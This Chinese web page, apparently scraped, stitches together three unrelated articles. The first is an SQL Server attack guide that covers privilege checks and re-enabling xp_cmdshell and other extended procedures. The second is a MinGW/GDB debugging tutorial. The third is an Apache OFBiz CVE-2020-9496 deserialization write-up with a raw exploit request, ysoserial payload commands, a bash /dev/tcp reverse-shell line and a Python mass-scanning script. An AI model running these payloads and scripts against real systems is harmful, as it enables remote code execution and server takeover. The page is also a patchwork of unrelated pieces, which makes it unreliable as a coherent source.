暂时未有相关云产品技术能力~
一、SQL server概述SQL Server是Microsoft开发的关系数据库管理系统(RDBMS)。它是市场上最受欢迎的DBMS之一。SQL Server具有极其广泛的用途,它可以在各个方面使用,小到存储个人博客的内容到大到存储客户数据。SQL Server的常见角色是:Sysadmin角色:SQL Server管理员。Public角色:最低特权,类似于Windows中的everyone组。SQL SERVER手册 https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-addextendedproc-transact-sql?view=sql-server-ver15SQL server攻击思路及文章: 简书:https://www.jianshu.com/p/68f7e51a6aee 谢公子:https://www.anquanke.com/post/id/200154二、SQL server基础操作SQL server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。延时命令:WAITFOR DELAY '0:0:2'SQLServer有三个权限级别:sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限db权限:文件管理,数据库操作等权限 users-administratorspublic权限:数据库操作 guest-users(1)判断当前用户权限判断是否是SA权限 select is_srvrolemember('sysadmin') 判断是否是db_owner权限 select is_member('db_owner') 判断是否是public权限 select is_srvrolemember('public')(2)SQL server数据库类型判断SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。(3)SQL server查询语句select @@version; #查询数据库的版本 select @@servername; #查询服务名 select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字 select db_name(); #查询当前数据库名 select db_name(1); #查询第一个数据库名 select db_name(2); #查询第二个数据库名 selectuser; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner use tempdb #切换到tempdb表 top n #查询前n条记录 limit2,3#查询第2条开始的3条数据,也就是2,3,4 selectsubstring('string',2,1) #截取给定字符串的索引为2的1个字符 selectascii('a') #查询给定字符串的ascii值 selectlen('string') #查询给定字符串的长度 EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小 sp_spaceused '表名' #查询指定表名的大小 EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1; #判断是否是SA权限 select is_srvrolemember('sysadmin') #判断是否是db_owner权限 select is_member('db_owner') #判断是否是public权限 select is_srvrolemember('public') #数据库的连接 server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB count(name)是查询总数 name是查询名字 *是查询详细信息 #查询数据库 selectcount(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令 selectnamefrom sysdatabases #查询数据库的名字 select * from sysdatabases #查询所有数据库的信息 #查询数据表 selectcount(name) from sysobjects wheretype='U'#查询当前数据库中表的个数 selectnamefrom sysobjects wheretype='U'#查询当前数据库中所有表的名字 select * from sysobjects wheretype='U'#查询当前数据库的所有表的详细信息 selectcount(name) from test..sysobjects where xtype='U'#查询指定test数据库中表的个数 selectnamefrom test..sysobjects where xtype='U'#查询指定test数据库中表的名字 select * from test..sysobjects where xtype='U'#查询指定test数据库中表的详细信息 #查询列 selectcount(name) from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询当前数据库的指定users表的列的个数 selectnamefrom test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询当前数据库的指定users表的所有列的名字 select * from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询当前数据库的指定users表的列的详细信息 selectcount(name) from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询指定test数据库的指定users表的列的个数 selectnamefrom test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询指定test数据库的指定users表的所有列的名字 select * from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询指定test数据库的指定users表的列的详细信息 #查询数据 selectcount(*) from test..users #查询test数据库user表的数据的条数 select * from test..users #查询test数据库user表的所有数据二、SQL数据库利用点2.1在SA权限下危险的存储过程(1)xp_cmdshell查询xp_cmdshell存储过程是否存在xtype为对象类型,xtype='x',表示存储过程的对象类型为扩展存储过程。payload:select * from master.dbo.sysobjects where xtype='x'andname='xp_cmdshell' selectcount(*) FROM master..sysobjects Where xtype = 'X'ANDname = 'xp_cmdshell'#结果是1 xp_cmdshell打开TSQL代码判断是否开启xp_cmdshell【T-SQL概述SQL Server用于操作数据库的编程语言为Transaction-SQL】declare @RunningOnACluster char(1) declare @xp_cmdshell_available char(1) declare @resultint set @xp_cmdshell_available='Y' set @result=0 select @RunningOnACluster=case whenconvert(int, serverproperty('IsClustered')) = 1then'Y' else'N' end if(0=(select value_in_use from sys.configurations wherename='xp_cmdshell')) set @xp_cmdshell_available='N'if @RunningOnACluster='Y' begin if @xp_cmdshell_available='Y' select @result=1 if @xp_cmdshell_available='N' select @result=2 end select @result恢复xp_cmdshell存储过程方法一开启xp_cmdshell存储过程,解决消息15281报错,在SA权限下SQL server组织对xp_cmdshell的过程#两条同时执行 exec sp_configure 'showadvanced options', 1; reconfigure with override ; exec sp_configure 'xp_cmdshell',1; reconfigure with override ;方法二(2)解决Error Message:未能找到存储过程 ‘master..xp_cmdshell’。第一步先删除:dropprocedure sp_addextendedproc dropprocedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell'第二步恢复:dbcc addextendedproc("sp_oacreate","odsole70.dll") dbcc addextendedproc("xp_cmdshell"," ") /* addextendedproc:将新扩展存储过程的名称注册到 Microsoft SQL Server【后续版本的 Microsoft SQL Server 将删除该功能。后续会使用CLR集成】 */方法三直接恢复,不管sp_addextendedproc是不是存在,需要自行上传xplog70.dll,恢复扩展存储过过程xp_cmdshell的语句:dbcc addextendedproc("xp_cmdshell","xplog70.dll")代码判断 系列存储过程是否存在,若不存在则恢复。if not exists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_cmdshell]')) dbcc addextendedproc ('xp_cmdshell','xplog70.dll') ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_dirtree]')) dbcc addextendedproc ('xp_dirtree','xpstar.dll') ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_fixeddrives]')) dbcc addextendedproc ('xp_fixeddrives','xpstar.dll') ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_regwrite]')) dbcc addextendedproc ('xp_regwrite','xpstar.dll') ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_regread]')) dbcc addextendedproc ('xp_regread','xpstar.dll')
Windows下如何使用和调试GDB或许,各位比较喜欢那种图形界面方式的,像VC、BCB等IDE的调试,但如果你在 UNIX 平台下做开发,你会发现GDB这个调试工具有比VC、BCB的图形化调试器更强大的功能。那么如果我想在Windows下使用GDB调试程序,应该怎么做呢?一、什么是GDB?「GNU调试器」(英语:GNU Debugger,缩写:「GDB」),GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具。二、它有哪些特点?GDB具备各种调试功效,能针对计算机程序的执行进行追踪与警告,使用GDB的调试人员可以监督及修改程序的内部变量值,甚至监督与修改独立于主程序运作外,以独立个体类型调用(调用使用)的函数。下面讲人话,它可以做以下事情: 1、启动你的程序,可以按照你的自定义的要求随心所欲的运行程序。 2、可让被调试的程序在你所指定的调置的断点处停住。 3、当程序被停住时,可以检查此时你的程序中所发生的事。 4、动态的改变你程序的执行环境。三、前置条件为了能用gdb调试程序,得先用gcc编译,gcc和gdb在Windows上是没有预装的,所以为了能用上它们,我们得先在 Windows 上安装好【MinGW】这个软件。mingw(Minimalistic GNU for Windows) 编译器系统,建立在GCC和binutils项目上。MinGW提供了一套简单方便的Windows下的基于GCC程序开发环境,是一套GNU工具集合(一系列免费的Windows使用的头文件和库文件,同时整合了GNU工具集,特别是GNU程序开发工具,如经典gcc,g++,make等)。该集合允许人们在没有第三方动态链接库的情况下使用GCC产生Windows32程序。它在windows平台模拟了Linux下的GCC开发环境,为C++的跨平台提供了良好的基础支持。1、下载安装废话不多说,我们先访问MinGW 的主页:https://mingw.osdn.io/MinGW 的主页下载安装MinGW :https://osdn.net/projects/mingw/downloads/68260/mingw-get-setup.exe/安装MinGW安装包就是这个安装包安装很简单的,就不多说了,注意记住安装的目录,如 D:\Tools\MinGw,下面修改环境变量时还会用到准备安装安装好打开就是这个样子,大家感兴趣可以试试程序打开后2、简单配置一下我们在里面找到【mingw32-gcc.bin】, 【mingw32-gcc-g++.bin】, 【mingw32-gdb.bin】,以及【mingw32-gdb.bin】 第一个是c语言文件的编译器,第二个是c++的,第三个是用来调试编译后文件的,最后一个就是gdb调试用到的。(注意class属性要为bin)安装编译器右键点击Mark for Installation(没截到图)然后点击左上角的Installation菜单中的Apply changes选项,然后管理器将开始在线安装或更新被选中的组件在线安装不要犹豫和搞其他操作,直接点击Apply申请点击Apply申请安装中...下面耐心等待程序的安装就好,安装完成后关闭包管理器。如果由于某种原因安装未能成功,在退出程序前程序将给予提示,选择【review changes】选项重新安装即可。3、修改环境变量安装好之后,是不能直接使用的,还需添加到环境变量。选择计算机—属性---高级系统设置---环境变量,在系统变量中找到 Path 变量,在后面加入 min-gw的安装目录,如 D:\Tools\MinGw修改环境变量我们 win+r 打开运行,输入cmd,再输入 gcc -v 验证一下是否安装成功,g++也可以打开gcc验证一下打开gdb验证一下就很简单,对吧。四、GDB相关命令及程序演示先上一段演示代码,新建一个名为mmap.c的C文件#include <stdio.h> int sum(int n) { int sum = 10; for (int i = 0; i <= n; i++) { sum += i; printf("1:the sum of 1-%d is %d\n", i, sum); } return sum; } int main() { int n = 0; sum(50); for (int i = 0; i <= 50; i++) { n += i; } printf("2:the sum of 1-50 is %d\n", sum); return0; }//演示代码略简单,大家轻喷启动gdb后,进入到交互模式,通过以下命令完成对程序的调试。注意高频使用的命令一般都会有缩写,熟练使用这些缩写命令能提高调试的效率。进入代码所在目录,在目录内启动命令调试符,输入以下代码:gcc -gstabs -o mmap mmap.c源文件gcc编译一下注意必须使用 -gstabs 参数,编译会加入调试信息,否则无法调试执行文件编译后获得mmap.exe输入【gdb mmap】 进入gdb调试,mmap为文件名gdb mmap //选择我们之前编译的文件,进入gdb调试 (gdb)list 1 //将显示当前文件以“行号”为中心的前后10行代码,list 10进入gdb调试(gdb)breakpoint 6 //简写成b 6,既在第六行设置断点 (gdb)info b //显示当前程序的断点设置情况 扩展: b fn1 if a>b //条件断点设置 break func //在函数func()的入口处设置断点,如:break cb_button delete 断点号n //删除第n个断点 disable 断点号n //暂停第n个断点 enable 断点号n //开启第n个断点 clear 行号n //清除第n行的断点设置断点并查看(gdb)r //run:简记为 r ,其作用是运行程序,当遇到断点后,程序会在断点处停止运行,等待用户输入下一步的命令 (gdb)n //next:简记为n,执行下一行语句(单步调试) (gdb)bt //显示当前运行的堆栈列表 (gdb)show args //查看设置好的参数 (gdb)info frame //显示当前堆栈页的所有变量运行程序并查看堆栈列表单步调试显示当前堆栈页的所有变量(gdb)info registers //查看所有寄存器 (gdb)info function //查询函数 (gdb)x/4x $esp //查看4个字节的栈顶寄存器的内容 (gdb)x/4x $ebp //查看4个字节的栈底寄存器的内容 扩展知识 (r是64位,e是32位) //eax 累加寄存器,它是很多加法乘法指令的缺省寄存器 //ebx 基地址寄存器, 在内存寻址时存放基地址 //esi 来源索引暂存器 edi 目的索引暂存器 //esp 栈顶寄存器 ebp 栈底寄存器 //eflags 状态位寄存器 //ss 堆栈段寄存器 //cs 代码段寄存器 //ds 数据段寄存器查看所有寄存器查看4个字节的栈顶(栈底)寄存器的内容查看其他寄存器(gdb)quit //简记为q,退出gdb ps:交互模式下直接回车的作用是重复上一指令,对于单步调试非常方便; ps:在Linux中,栈顶寄存器和栈底寄存器的内容是无法读出来的,会显示权限不够退出gdb调试五、写在最后最近刚接触到gdb方面的知识,文章写的有些粗糙,师傅们轻喷。
Apache Ofbiz介绍OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。漏洞概述Apache ofbiz 存在反序列化漏洞,攻击者 通过 访问未授权接口,构造特定的xmlrpc http请求,可以造成远程代码执行的影响。漏洞影响版本ApacheOfbiz:<17.12.04环境搭建本次环境使用vulhub搭建dockerpull andyjunghans/ofbizdocker run -p 8080:8080 -p8443:8443 andyjunghans/ofbiz访问ip:8080/webtools/control/xmlrpc即可看到入口点漏洞复现Pocid: CVE-2020-9496 info: name: Apache OFBiz XML-RPC Java Deserialization author: dwisiswant0 severity: medium # This temaplte detects a Java deserialization vulnerability in Apache # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for # versions prior to 17.12.04. # -- # References: # - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz requests: - raw: - | POST /webtools/control/xmlrpc HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall> matchers-condition: and matchers: - type: word words: - "faultString" - "No such service [ProjectDiscovery]" - "methodResponse" condition: and part: body - type: word words: - "Content-Type: text/xml" part: header - type: status status: - 200根据这个yaml,可以了解到,当post一个xml的poc过去后,如果返回包里同时存在faultString,No such service [ProjectDiscovery],methodResponse证明有漏洞存在。代码执行Burp抓包,把数据包替换成以下数据包POST /webtools/control/xmlrpc HTTP/1.1Host: 192.168.240.141:8443Content-Type: application/xmlContent-Length: 4125 <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">payload</serializable></value></member></struct></value></param></params></methodCall>使用使用ysoserial的CommonsBeanutils1来生成Payload在tmp目录写入文件(无回显)java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d '\n'复制base64编码得payload,粘贴到burp数据包中base64payload的地方,点击发送,可以进docker中查看是否写入成功进入容器查看成功写入docker exec -it 容器id /bin/bash反弹shell去以下网址把反弹shellpayload进行base64编码http://www.jackson-t.ca/runtime-exec-payloads.htmlbash反弹命令:bash-i >& /dev/tcp/ip/port 0>&1把编码后的shell在使用ysoserial工具进行一次base64编码java -jar ysoserial.jar CommonsBeanutils1 "base64-payload" | base64 | tr -d '\n'nc设置监听,把生成的exp放入到burp的数据包中发送,查看nc监听以返回shell通过搜索引擎发现资产还是很多的检测脚本无回显通过dnslog进行检测验证import sysimport argparseimport subprocessimport requestsfrom time import sleepimport base64from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+-------------------+') print('| author:lemonlove7 |') print('| use:python poc.py |') print('+-------------------+') def dnslog(): global dns_session dns_session = requests.session() dns = dns_session.get('http://www.dnslog.cn/getdomain.php') return dns.text def dnslog_res(): dns_res = dns_session.get('http://www.dnslog.cn/getrecords.php') if dns_res.json(): return True else: return False def CVE_2020_9496(target_url): requests.packages.urllib3.disable_warnings(InsecureRequestWarning) headers = {'Content-Type': 'application/xml'} # popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "CommonsBeanutils1", 'ping '+dnslog()], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "URLDNS", 'http://'+dnslog()], stdout=subprocess.PIPE) data = base64.b64encode(popen.stdout.read()) post_data = f'''<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{str(data, 'utf-8')}</serializable></value></member></struct></value></param></params></methodCall>''' if target_url.startswith('https://'): vuln_url = target_url + "/webtools/control/xmlrpc" else: vuln_url = 'https://' + target_url + "/webtools/control/xmlrpc" try: r = requests.post(vuln_url, data=post_data, headers=headers, verify=False, timeout=5) if r.status_code == 200: sleep(2) if dnslog_res(): print(f'[+] {target_url} dnslog验证成功,漏洞存在') return True else: print(f'[x] {target_url} 利用失败') except Exception: print(f"[x] {target_url} poc请求失败 ") if __name__ == '__main__': if len(sys.argv) == 1: title() sys.exit() parser = argparse.ArgumentParser(description='''CVE-2020-9496 help''') parser.add_argument('-u', '--url', help='请输入url', default='') parser.add_argument('-f', '--file', help='请输入file', default='') args = parser.parse_args() url = args.url file = args.file if url != '': target_url=url if target_url: CVE_2020_9496(target_url) if file !='': f = open(file,'r') for i in f.readlines(): url=i.strip() if url: CVE_2020_9496(url)
2023年02月